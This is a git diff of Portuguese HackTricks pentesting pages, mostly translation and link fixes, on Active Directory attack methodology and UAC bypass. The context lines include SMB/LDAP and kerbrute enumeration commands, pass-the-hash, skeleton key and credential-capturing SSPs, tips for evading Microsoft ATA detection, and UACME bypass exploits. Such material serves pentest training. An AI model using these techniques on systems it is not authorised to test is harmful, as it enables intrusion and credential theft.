 - [**CORS bypass**](../pentesting-web/cors-bypass.md): Se você conseguir contornar os cabeçalhos CORS, poderá roubar as informações realizando uma solicitação Ajax para uma página maliciosa.
-- [**XSS**](../pentesting-web/xss-cross-site-scripting/): Se você encontrar uma vulnerabilidade XSS na página, pode ser capaz de abusar dela para roubar as informações.
-- [**Danging Markup**](../pentesting-web/dangling-markup-html-scriptless-injection/): Se você não conseguir injetar tags XSS, ainda pode ser capaz de roubar as informações usando outras tags HTML regulares.
+- [**XSS**](../pentesting-web/xss-cross-site-scripting/index.html): Se você encontrar uma vulnerabilidade XSS na página, pode ser capaz de abusar dela para roubar as informações.
+- [**Danging Markup**](../pentesting-web/dangling-markup-html-scriptless-injection/index.html): Se você não conseguir injetar tags XSS, ainda pode ser capaz de roubar as informações usando outras tags HTML regulares.
 - [**Clickjaking**](../pentesting-web/clickjacking.md): Se não houver proteção contra esse ataque, você pode ser capaz de enganar o usuário para enviar os dados sensíveis (um exemplo [aqui](https://medium.com/bugbountywriteup/apache-example-servlet-leads-to-61a2720cac20)).
 
 {{#include ../banners/hacktricks-training.md}}

src/windows-hardening/active-directory-methodology/README.md

@@ -45,7 +45,7 @@ Se você apenas tiver acesso a um ambiente AD, mas não tiver credenciais/sessõ
 - Enumerar DNS pode fornecer informações sobre servidores chave no domínio, como web, impressoras, compartilhamentos, vpn, mídia, etc.
 - `gobuster dns -d domain.local -t 25 -w /opt/Seclist/Discovery/DNS/subdomain-top2000.txt`
 - Dê uma olhada na [**Metodologia de Pentesting**](../../generic-methodologies-and-resources/pentesting-methodology.md) para encontrar mais informações sobre como fazer isso.
-- **Verificar acesso nulo e de convidado em serviços smb** (isso não funcionará em versões modernas do Windows):
+- **Verifique o acesso nulo e de convidado em serviços smb** (isso não funcionará em versões modernas do Windows):
 - `enum4linux -a -u "" -p "" <DC IP> && enum4linux -a -u "guest" -p "" <DC IP>`
 - `smbmap -u "" -p "" -P 445 -H <DC IP> && smbmap -u "guest" -p "" -P 445 -H <DC IP>`
 - `smbclient -U '%' -L //<DC IP> && smbclient -U 'guest%' -L //`
@@ -76,7 +76,7 @@ Se você apenas tiver acesso a um ambiente AD, mas não tiver credenciais/sessõ
 
 ### Enumeração de usuários
 
-- **Enumeração SMB/LDAP anônima:** Verifique as páginas de [**pentesting SMB**](../../network-services-pentesting/pentesting-smb/) e [**pentesting LDAP**](../../network-services-pentesting/pentesting-ldap.md).
+- **Enumeração SMB/LDAP anônima:** Verifique as páginas de [**pentesting SMB**](../../network-services-pentesting/pentesting-smb/index.html) e [**pentesting LDAP**](../../network-services-pentesting/pentesting-ldap.md).
 - **Enumeração Kerbrute**: Quando um **nome de usuário inválido é solicitado**, o servidor responderá usando o código de erro **Kerberos** _KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN_, permitindo-nos determinar que o nome de usuário era inválido. **Nomes de usuários válidos** resultarão em uma resposta **TGT em um AS-REP** ou no erro _KRB5KDC_ERR_PREAUTH_REQUIRED_, indicando que o usuário deve realizar a pré-autenticação.
 ```bash
 ./kerbrute_linux_amd64 userenum -d lab.ropnop.com --dc 10.10.10.10 usernames.txt #From https://github.com/ropnop/kerbrute/releases
@@ -156,11 +156,11 @@ Ter comprometido uma conta é um **grande passo para começar a comprometer todo
 Em relação ao [**ASREPRoast**](asreproast.md), você agora pode encontrar todos os usuários vulneráveis possíveis, e em relação ao [**Password Spraying**](password-spraying.md), você pode obter uma **lista de todos os nomes de usuários** e tentar a senha da conta comprometida, senhas vazias e novas senhas promissoras.
 
 - Você pode usar o [**CMD para realizar um reconhecimento básico**](../basic-cmd-for-pentesters.md#domain-info)
-- Você também pode usar [**powershell para reconhecimento**](../basic-powershell-for-pentesters/) que será mais discreto
+- Você também pode usar [**powershell para reconhecimento**](../basic-powershell-for-pentesters/index.html), que será mais discreto
 - Você também pode [**usar powerview**](../basic-powershell-for-pentesters/powerview.md) para extrair informações mais detalhadas
 - Outra ferramenta incrível para reconhecimento em um Active Directory é [**BloodHound**](bloodhound.md). Não é **muito discreto** (dependendo dos métodos de coleta que você usa), mas **se você não se importar** com isso, deve definitivamente experimentar. Descubra onde os usuários podem RDP, encontre caminhos para outros grupos, etc.
 - **Outras ferramentas automatizadas de enumeração AD são:** [**AD Explorer**](bloodhound.md#ad-explorer)**,** [**ADRecon**](bloodhound.md#adrecon)**,** [**Group3r**](bloodhound.md#group3r)**,** [**PingCastle**](bloodhound.md#pingcastle)**.**
-- [**Registros DNS do AD**](ad-dns-records.md) pois podem conter informações interessantes.
+- [**Registros DNS do AD**](ad-dns-records.md), pois podem conter informações interessantes.
 - Uma **ferramenta com GUI** que você pode usar para enumerar o diretório é **AdExplorer.exe** do **SysInternal** Suite.
 - Você também pode pesquisar no banco de dados LDAP com **ldapsearch** para procurar credenciais nos campos _userPassword_ & _unixUserPassword_, ou até mesmo por _Description_. cf. [Senha no comentário do usuário AD em PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#password-in-ad-user-comment) para outros métodos.
 - Se você estiver usando **Linux**, também pode enumerar o domínio usando [**pywerview**](https://github.com/the-useless-one/pywerview).
@@ -191,7 +191,7 @@ Uma vez que você tenha obtido algumas credenciais, pode verificar se tem acesso
 
 Se você comprometeu credenciais ou uma sessão como um usuário regular de domínio e tem **acesso** com esse usuário a **qualquer máquina no domínio**, você deve tentar encontrar uma maneira de **escalar privilégios localmente e procurar credenciais**. Isso porque apenas com privilégios de administrador local você poderá **extrair hashes de outros usuários** na memória (LSASS) e localmente (SAM).
 
-Há uma página completa neste livro sobre [**escalação de privilégios local no Windows**](../windows-local-privilege-escalation/) e uma [**checklist**](../checklist-windows-privilege-escalation.md). Além disso, não se esqueça de usar [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite).
+Há uma página completa neste livro sobre [**escalação de privilégios local no Windows**](../windows-local-privilege-escalation/index.html) e uma [**checklist**](../checklist-windows-privilege-escalation.md). Além disso, não se esqueça de usar [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite).
 
 ### Tickets de Sessão Atuais
 
@@ -235,14 +235,14 @@ printnightmare.md
 
 ### Extração de Hash
 
-Esperançosamente, você conseguiu **comprometer alguma conta de administrador local** usando [AsRepRoast](asreproast.md), [Password Spraying](password-spraying.md), [Kerberoast](kerberoast.md), [Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) incluindo relaying, [EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md), [escalando privilégios localmente](../windows-local-privilege-escalation/).\
+Esperançosamente, você conseguiu **comprometer alguma conta de administrador local** usando [AsRepRoast](asreproast.md), [Password Spraying](password-spraying.md), [Kerberoast](kerberoast.md), [Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) incluindo relaying, [EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md), [escalando privilégios localmente](../windows-local-privilege-escalation/index.html).\
 Então, é hora de despejar todos os hashes na memória e localmente.\
 [**Leia esta página sobre diferentes maneiras de obter os hashes.**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md)
 
 ### Pass the Hash
 
 **Uma vez que você tenha o hash de um usuário**, pode usá-lo para **impersoná-lo**.\
-Você precisa usar alguma **ferramenta** que **realize** a **autenticação NTLM usando** esse **hash**, **ou** você poderia criar um novo **sessionlogon** e **injetar** esse **hash** dentro do **LSASS**, para que quando qualquer **autenticação NTLM for realizada**, esse **hash será usado.** A última opção é o que o mimikatz faz.\
+Você precisa usar alguma **ferramenta** que **realize** a **autenticação NTLM usando** esse **hash**, **ou** você poderia criar um novo **sessionlogon** e **injetar** esse **hash** dentro do **LSASS**, para que, quando qualquer **autenticação NTLM for realizada**, esse **hash será usado.** A última opção é o que o mimikatz faz.\
 [**Leia esta página para mais informações.**](../ntlm/index.html#pass-the-hash)
 
 ### Over Pass the Hash/Pass the Key
@@ -295,7 +295,7 @@ unconstrained-delegation.md
 ### Delegação Restrita
 
 Se um usuário ou computador for permitido para "Delegação Restrita", ele poderá **se passar por qualquer usuário para acessar alguns serviços em um computador**.\
-Então, se você **comprometer o hash** desse usuário/computador, você poderá **se passar por qualquer usuário** (até mesmo administradores de domínio) para acessar alguns serviços.
+Então, se você **comprometer o hash** deste usuário/computador, você poderá **se passar por qualquer usuário** (até mesmo administradores de domínio) para acessar alguns serviços.
 
 {{#ref}}
 constrained-delegation.md
@@ -303,7 +303,7 @@ constrained-delegation.md
 
 ### Delegação Baseada em Recursos
 
-Ter privilégio de **WRITE** em um objeto do Active Directory de um computador remoto permite a obtenção de execução de código com **privilégios elevados**:
+Ter privilégio de **GRAVAÇÃO** em um objeto do Active Directory de um computador remoto permite a obtenção de execução de código com **privilégios elevados**:
 
 {{#ref}}
 resource-based-constrained-delegation.md
@@ -449,7 +449,7 @@ dsrm-credentials.md
 
 ### Persistência de ACL
 
-Você poderia **dar** alguns **permissões especiais** a um **usuário** sobre alguns objetos de domínio específicos que permitirão que o usuário **escalone privilégios no futuro**.
+Você poderia **dar** algumas **permissões especiais** a um **usuário** sobre alguns objetos de domínio específicos que permitirão que o usuário **escalone privilégios no futuro**.
 
 {{#ref}}
 acl-persistence-abuse/
@@ -463,7 +463,7 @@ Os **descritores de segurança** são usados para **armazenar** as **permissões
 security-descriptors.md
 {{#endref}}
 
-### Skeleton Key
+### Chave Esqueleto
 
 Alterar **LSASS** na memória para estabelecer uma **senha universal**, concedendo acesso a todas as contas de domínio.
 
@@ -473,7 +473,7 @@ skeleton-key.md
 
 ### SSP Personalizado
 
-[Saiba o que é um SSP (Security Support Provider) aqui.](../authentication-credentials-uac-and-efs/index.html#security-support-provider-interface-sspi)\
+[Saiba o que é um SSP (Provedor de Suporte de Segurança) aqui.](../authentication-credentials-uac-and-efs/index.html#security-support-provider-interface-sspi)\
 Você pode criar seu **próprio SSP** para **capturar** em **texto claro** as **credenciais** usadas para acessar a máquina.\\
 
 {{#ref}}
@@ -540,15 +540,15 @@ Se o Domínio A confiar no Domínio B, A é o domínio confiador e B é o confi
 
 ### Caminho de Ataque
 
-1. **Enumerar** as relações de confiança
+1. **Enumere** as relações de confiança
 2. Verifique se algum **principal de segurança** (usuário/grupo/computador) tem **acesso** a recursos do **outro domínio**, talvez por entradas ACE ou por estar em grupos do outro domínio. Procure por **relações entre domínios** (a confiança foi criada para isso, provavelmente).
 1. Kerberoast neste caso poderia ser outra opção.
-3. **Comprometer** as **contas** que podem **pivotar** entre domínios.
+3. **Comprometa** as **contas** que podem **pivotar** entre domínios.
 
 Os atacantes poderiam acessar recursos em outro domínio através de três mecanismos principais:
 
-- **Membresia de Grupo Local**: Os principais podem ser adicionados a grupos locais em máquinas, como o grupo “Administradores” em um servidor, concedendo-lhes controle significativo sobre essa máquina.
-- **Membresia de Grupo de Domínio Estrangeiro**: Os principais também podem ser membros de grupos dentro do domínio estrangeiro. No entanto, a eficácia desse método depende da natureza da confiança e do escopo do grupo.
+- **Membro de Grupo Local**: Os principais podem ser adicionados a grupos locais em máquinas, como o grupo “Administradores” em um servidor, concedendo-lhes controle significativo sobre essa máquina.
+- **Membro de Grupo de Domínio Estrangeiro**: Os principais também podem ser membros de grupos dentro do domínio estrangeiro. No entanto, a eficácia deste método depende da natureza da confiança e do escopo do grupo.
 - **Listas de Controle de Acesso (ACLs)**: Os principais podem ser especificados em uma **ACL**, particularmente como entidades em **ACEs** dentro de um **DACL**, proporcionando-lhes acesso a recursos específicos. Para aqueles que desejam se aprofundar na mecânica de ACLs, DACLs e ACEs, o whitepaper intitulado “[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)” é um recurso inestimável.
 
 ### Escalonamento de privilégios de floresta de filho para pai
@@ -582,23 +582,23 @@ sid-history-injection.md
 
 #### Explorar NC de Configuração gravável
 
-Entender como o Contexto de Nomeação de Configuração (NC) pode ser explorado é crucial. O NC de Configuração serve como um repositório central para dados de configuração em ambientes do Active Directory (AD). Esses dados são replicados para cada Controlador de Domínio (DC) dentro da floresta, com DCs graváveis mantendo uma cópia gravável do NC de Configuração. Para explorar isso, é necessário ter **privilégios de SYSTEM em um DC**, preferencialmente um DC filho.
+Entender como o Contexto de Nomeação de Configuração (NC) pode ser explorado é crucial. O NC de Configuração serve como um repositório central para dados de configuração em ambientes do Active Directory (AD). Esses dados são replicados para todos os Controladores de Domínio (DC) dentro da floresta, com DCs graváveis mantendo uma cópia gravável do NC de Configuração. Para explorar isso, é necessário ter **privilégios de SYSTEM em um DC**, preferencialmente um DC filho.
 
-**Vincular GPO ao site DC raiz**
+**Vincular GPO ao site do DC raiz**
 
-O contêiner de Sites do NC de Configuração inclui informações sobre todos os sites de computadores associados ao domínio dentro da floresta AD. Ao operar com privilégios de SYSTEM em qualquer DC, os atacantes podem vincular GPOs aos sites DC raiz. Essa ação potencialmente compromete o domínio raiz manipulando políticas aplicadas a esses sites.
+O contêiner de Sites do NC de Configuração inclui informações sobre todos os sites de computadores associados ao domínio dentro da floresta AD. Ao operar com privilégios de SYSTEM em qualquer DC, os atacantes podem vincular GPOs aos sites do DC raiz. Essa ação potencialmente compromete o domínio raiz manipulando políticas aplicadas a esses sites.
 
 Para informações detalhadas, pode-se explorar pesquisas sobre [Bypassing SID Filtering](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-4-bypass-sid-filtering-research).
 
 **Comprometer qualquer gMSA na floresta**
 
-Um vetor de ataque envolve direcionar gMSAs privilegiados dentro do domínio. A chave raiz KDS, essencial para calcular as senhas de gMSAs, é armazenada dentro do NC de Configuração. Com privilégios de SYSTEM em qualquer DC, é possível acessar a chave raiz KDS e calcular as senhas para qualquer gMSA na floresta.
+Um vetor de ataque envolve direcionar gMSAs privilegiadas dentro do domínio. A chave KDS Root, essencial para calcular as senhas de gMSAs, é armazenada dentro do NC de Configuração. Com privilégios de SYSTEM em qualquer DC, é possível acessar a chave KDS Root e calcular as senhas para qualquer gMSA na floresta.
 
 Análises detalhadas podem ser encontradas na discussão sobre [Golden gMSA Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent).
 
 **Ataque de mudança de esquema**
 
-Esse método requer paciência, aguardando a criação de novos objetos AD privilegiados. Com privilégios de SYSTEM, um atacante pode modificar o Esquema AD para conceder a qualquer usuário controle total sobre todas as classes. Isso pode levar a acesso não autorizado e controle sobre objetos AD recém-criados.
+Esse método requer paciência, aguardando a criação de novos objetos AD privilegiados. Com privilégios de SYSTEM, um atacante pode modificar o Esquema AD para conceder a qualquer usuário controle total sobre todas as classes. Isso pode levar a acesso não autorizado e controle sobre novos objetos AD criados.
 
 Leitura adicional está disponível sobre [Schema Change Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-6-schema-change-trust-attack-from-child-to-parent).
 
@@ -639,7 +639,7 @@ WhenChanged     : 2/19/2021 10:15:24 PM
 ```
 Neste cenário, **seu domínio** está **confiando** alguns **privilégios** a um principal de **domínios diferentes**.
 
-No entanto, quando um **domínio é confiável** pelo domínio confiador, o domínio confiável **cria um usuário** com um **nome previsível** que usa como **senha a senha confiável**. O que significa que é possível **acessar um usuário do domínio confiador para entrar no confiável** para enumerá-lo e tentar escalar mais privilégios:
+No entanto, quando um **domínio é confiável** pelo domínio confiável, o domínio confiável **cria um usuário** com um **nome previsível** que usa como **senha a senha confiável**. O que significa que é possível **acessar um usuário do domínio confiável para entrar no confiável** para enumerá-lo e tentar escalar mais privilégios:
 
 {{#ref}}
 external-forest-domain-one-way-outbound.md
@@ -663,7 +663,7 @@ rdp-sessions-abuse.md
 
 ### **Autenticação Seletiva:**
 
-- Para confianças inter-floresta, a utilização da Autenticação Seletiva garante que usuários das duas florestas não sejam autenticados automaticamente. Em vez disso, permissões explícitas são necessárias para que os usuários acessem domínios e servidores dentro do domínio ou floresta confiadora.
+- Para confianças inter-floresta, a utilização da Autenticação Seletiva garante que os usuários das duas florestas não sejam autenticados automaticamente. Em vez disso, permissões explícitas são necessárias para que os usuários acessem domínios e servidores dentro do domínio ou floresta confiável.
 - É importante notar que essas medidas não protegem contra a exploração do Contexto de Nomeação de Configuração (NC) gravável ou ataques à conta de confiança.
 
 [**Mais informações sobre confianças de domínio em ired.team.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain)
@@ -682,7 +682,7 @@ https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movement
 
 - **Restrições de Administradores de Domínio**: Recomenda-se que os Administradores de Domínio só possam fazer login em Controladores de Domínio, evitando seu uso em outros hosts.
 - **Privilégios de Conta de Serviço**: Serviços não devem ser executados com privilégios de Administrador de Domínio (DA) para manter a segurança.
-- **Limitação Temporal de Privilégios**: Para tarefas que exigem privilégios de DA, sua duração deve ser limitada. Isso pode ser alcançado por: `Add-ADGroupMember -Identity ‘Domain Admins’ -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)`
+- **Limitação Temporal de Privilégios**: Para tarefas que requerem privilégios de DA, sua duração deve ser limitada. Isso pode ser alcançado por: `Add-ADGroupMember -Identity ‘Domain Admins’ -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)`
 
 ### **Implementando Técnicas de Engano**
 
@@ -697,10 +697,10 @@ https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movement
 
 ### **Evitando Sistemas de Detecção**
 
-- **Bypass de Detecção do Microsoft ATA**:
+- **Desvio de Detecção do Microsoft ATA**:
 - **Enumeração de Usuários**: Evitar a enumeração de sessões em Controladores de Domínio para prevenir a detecção do ATA.
-- **Impersonação de Ticket**: Utilizar chaves **aes** para a criação de tickets ajuda a evitar a detecção ao não rebaixar para NTLM.
-- **Ataques DCSync**: Executar a partir de um controlador de domínio não é recomendado para evitar a detecção do ATA, pois a execução direta a partir de um controlador de domínio acionará alertas.
+- **Imitação de Ticket**: Utilizar chaves **aes** para a criação de tickets ajuda a evitar a detecção ao não rebaixar para NTLM.
+- **Ataques DCSync**: Executar a partir de um controlador de domínio não é recomendado para evitar a detecção do ATA, pois a execução direta de um Controlador de Domínio acionará alertas.
 
 ## Referências
 

src/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control.md

@@ -4,7 +4,7 @@
 
 ## UAC
 
-[Controle de Conta de Usuário (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) é um recurso que permite um **prompt de consentimento para atividades elevadas**. Aplicativos têm diferentes níveis de `integridade`, e um programa com um **alto nível** pode realizar tarefas que **podem potencialmente comprometer o sistema**. Quando o UAC está habilitado, aplicativos e tarefas sempre **são executados sob o contexto de segurança de uma conta não-administradora** a menos que um administrador autorize explicitamente esses aplicativos/tarefas a ter acesso de nível administrador ao sistema para serem executados. É um recurso de conveniência que protege os administradores de mudanças não intencionais, mas não é considerado uma barreira de segurança.
+[Controle de Conta de Usuário (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) é um recurso que permite um **prompt de consentimento para atividades elevadas**. Aplicativos têm diferentes níveis de `integridade`, e um programa com um **alto nível** pode realizar tarefas que **podem potencialmente comprometer o sistema**. Quando o UAC está habilitado, aplicativos e tarefas sempre **são executados sob o contexto de segurança de uma conta não-administradora** a menos que um administrador autorize explicitamente esses aplicativos/tarefas a ter acesso de nível administrador ao sistema para serem executados. É um recurso de conveniência que protege os administradores de alterações não intencionais, mas não é considerado uma barreira de segurança.
 
 Para mais informações sobre níveis de integridade:
 
@@ -14,7 +14,7 @@ Para mais informações sobre níveis de integridade:
 
 Quando o UAC está em vigor, um usuário administrador recebe 2 tokens: uma chave de usuário padrão, para realizar ações regulares como nível regular, e uma com privilégios de administrador.
 
-Esta [página](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) discute como o UAC funciona em grande profundidade e inclui o processo de logon, a experiência do usuário e a arquitetura do UAC. Administradores podem usar políticas de segurança para configurar como o UAC funciona específico para sua organização em nível local (usando secpol.msc), ou configurado e distribuído via Objetos de Política de Grupo (GPO) em um ambiente de domínio Active Directory. As várias configurações são discutidas em detalhes [aqui](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-security-policy-settings). Existem 10 configurações de Política de Grupo que podem ser definidas para o UAC. A tabela a seguir fornece detalhes adicionais:
+Esta [página](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) discute como o UAC funciona em grande profundidade e inclui o processo de logon, a experiência do usuário e a arquitetura do UAC. Administradores podem usar políticas de segurança para configurar como o UAC funciona especificamente para sua organização em nível local (usando secpol.msc), ou configurado e distribuído via Objetos de Política de Grupo (GPO) em um ambiente de domínio Active Directory. As várias configurações são discutidas em detalhes [aqui](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-security-policy-settings). Existem 10 configurações de Política de Grupo que podem ser definidas para o UAC. A tabela a seguir fornece detalhes adicionais:
 
 | Configuração de Política de Grupo                                                                                                                                                                                                                                                                                                                                                           | Chave do Registro           | Configuração Padrão                                         |
 | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | --------------------------- | ----------------------------------------------------------- |
@@ -24,10 +24,10 @@ Esta [página](https://docs.microsoft.com/en-us/windows/security/identity-protec
 | [Controle de Conta de Usuário: Comportamento do prompt de elevação para usuários padrão](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-standard-users)                                                                   | ConsentPromptBehaviorUser   | Solicitar credenciais na área de trabalho segura           |
 | [Controle de Conta de Usuário: Detectar instalações de aplicativos e solicitar elevação](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-detect-application-installations-and-prompt-for-elevation)                                                       | EnableInstallerDetection    | Habilitado (padrão para home) Desativado (padrão para enterprise) |
 | [Controle de Conta de Usuário: Somente elevar executáveis que estão assinados e validados](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-executables-that-are-signed-and-validated)                                                             | ValidateAdminCodeSignatures | Desativado                                                  |
-| [Controle de Conta de Usuário: Somente elevar aplicativos UIAccess que estão instalados em locais seguros](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-uiaccess-applications-that-are-installed-in-secure-locations)                       | EnableSecureUIAPaths        | Habilitado                                                 |
-| [Controle de Conta de Usuário: Executar todos os administradores no Modo de Aprovação do Administrador](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-run-all-administrators-in-admin-approval-mode)                                                                               | EnableLUA                   | Habilitado                                                 |
-| [Controle de Conta de Usuário: Mudar para a área de trabalho segura ao solicitar elevação](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-switch-to-the-secure-desktop-when-prompting-for-elevation)                                                       | PromptOnSecureDesktop       | Habilitado                                                 |
-| [Controle de Conta de Usuário: Virtualizar falhas de gravação de arquivos e registro para locais por usuário](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-virtualize-file-and-registry-write-failures-to-per-user-locations)                                       | EnableVirtualization        | Habilitado                                                 |
+| [Controle de Conta de Usuário: Somente elevar aplicativos UIAccess que estão instalados em locais seguros](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-uiaccess-applications-that-are-installed-in-secure-locations)                       | EnableSecureUIAPaths        | Habilitado                                                  |
+| [Controle de Conta de Usuário: Executar todos os administradores no Modo de Aprovação do Administrador](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-run-all-administrators-in-admin-approval-mode)                                                                               | EnableLUA                   | Habilitado                                                  |
+| [Controle de Conta de Usuário: Mudar para a área de trabalho segura ao solicitar elevação](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-switch-to-the-secure-desktop-when-prompting-for-elevation)                                                       | PromptOnSecureDesktop       | Habilitado                                                  |
+| [Controle de Conta de Usuário: Virtualizar falhas de gravação de arquivos e registro para locais por usuário](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-virtualize-file-and-registry-write-failures-to-per-user-locations)                                       | EnableVirtualization        | Habilitado                                                  |
 
 ### Teoria de Bypass do UAC
 
@@ -46,7 +46,7 @@ REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\
 HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
 EnableLUA    REG_DWORD    0x1
 ```
-Se for **`1`**, então o UAC está **ativado**, se for **`0`** ou **não existir**, então o UAC está **inativo**.
+Se for **`1`**, então o UAC está **ativado**; se for **`0`** ou **não existir**, então o UAC está **inativo**.
 
 Em seguida, verifique **qual nível** está configurado:
 ```
@@ -62,15 +62,15 @@ ConsentPromptBehaviorAdmin    REG_DWORD    0x5
 - Se **`4`**, como `2`, mas não necessariamente na Área de Trabalho Segura
 - se **`5`**(**padrão**) pedirá ao administrador para confirmar a execução de binários não Windows com altos privilégios
 
-Então, você deve olhar o valor de **`LocalAccountTokenFilterPolicy`**\
+Então, você deve olhar para o valor de **`LocalAccountTokenFilterPolicy`**\
 Se o valor for **`0`**, então, apenas o usuário **RID 500** (**Administrador embutido**) pode realizar **tarefas administrativas sem UAC**, e se for `1`, **todas as contas dentro do grupo "Administradores"** podem fazê-lo.
 
-E, finalmente, olhe o valor da chave **`FilterAdministratorToken`**\
+E, finalmente, olhe para o valor da chave **`FilterAdministratorToken`**\
 Se **`0`**(padrão), a **conta de Administrador embutido pode** realizar tarefas de administração remota e se **`1`**, a conta de Administrador embutido **não pode** realizar tarefas de administração remota, a menos que `LocalAccountTokenFilterPolicy` esteja definido como `1`.
 
 #### Resumo
 
-- Se `EnableLUA=0` ou **não existe**, **sem UAC para ninguém**
+- Se `EnableLUA=0` ou **não existir**, **sem UAC para ninguém**
 - Se `EnableLua=1` e **`LocalAccountTokenFilterPolicy=1`, sem UAC para ninguém**
 - Se `EnableLua=1` e **`LocalAccountTokenFilterPolicy=0` e `FilterAdministratorToken=0`, sem UAC para RID 500 (Administrador embutido)**
 - Se `EnableLua=1` e **`LocalAccountTokenFilterPolicy=0` e `FilterAdministratorToken=1`, UAC para todos**
@@ -82,10 +82,10 @@ Você também pode verificar os grupos do seu usuário e obter o nível de integ
 net user %username%
 whoami /groups | findstr Level
 ```
-## Bypass do UAC
+## UAC bypass
 
 > [!NOTE]
-> Observe que se você tiver acesso gráfico à vítima, o bypass do UAC é simples, pois você pode simplesmente clicar em "Sim" quando o prompt do UAC aparecer.
+> Note que se você tiver acesso gráfico à vítima, o bypass do UAC é simples, pois você pode simplesmente clicar em "Sim" quando o prompt do UAC aparecer.
 
 O bypass do UAC é necessário na seguinte situação: **o UAC está ativado, seu processo está sendo executado em um contexto de integridade média e seu usuário pertence ao grupo de administradores**.
 
@@ -139,10 +139,10 @@ Documentação e ferramenta em [https://github.com/wh0amitz/KRBUACBypass](https:
 
 ### Exploits de bypass do UAC
 
-[**UACME**](https://github.com/hfiref0x/UACME) que é uma **compilação** de vários exploits de bypass do UAC. Note que você precisará **compilar o UACME usando visual studio ou msbuild**. A compilação criará vários executáveis (como `Source\Akagi\outout\x64\Debug\Akagi.exe`), você precisará saber **qual você precisa.**\
-Você deve **ter cuidado** porque alguns bypasses irão **solicitar outros programas** que irão **alertar** o **usuário** que algo está acontecendo.
+[**UACME** ](https://github.com/hfiref0x/UACME) que é uma **compilação** de vários exploits de bypass do UAC. Note que você precisará **compilar o UACME usando o visual studio ou msbuild**. A compilação criará vários executáveis (como `Source\Akagi\outout\x64\Debug\Akagi.exe`), você precisará saber **qual você precisa.**\
+Você deve **ter cuidado** porque alguns bypasses irão **solicitar outros programas** que **alertarão** o **usuário** que algo está acontecendo.
 
-UACME tem a **versão de build a partir da qual cada técnica começou a funcionar**. Você pode procurar por uma técnica que afete suas versões:
+O UACME tem a **versão de build a partir da qual cada técnica começou a funcionar**. Você pode procurar por uma técnica que afete suas versões:
 ```
 PS C:\> [environment]::OSVersion.Version
 
@@ -150,7 +150,7 @@ Major  Minor  Build  Revision
 -----  -----  -----  --------
 10     0      14393  0
 ```
-Também, usando [esta](https://en.wikipedia.org/wiki/Windows_10_version_history) página você obtém a versão do Windows `1607` a partir das versões de build.
+Also, usando [this](https://en.wikipedia.org/wiki/Windows_10_version_history) page você obtém a versão do Windows `1607` a partir das versões de build.
 
 #### Mais bypass de UAC
 
@@ -174,12 +174,12 @@ Se você não se importar em ser barulhento, você sempre poderia **executar alg
 
 ### Seu próprio bypass - Metodologia básica de bypass de UAC
 
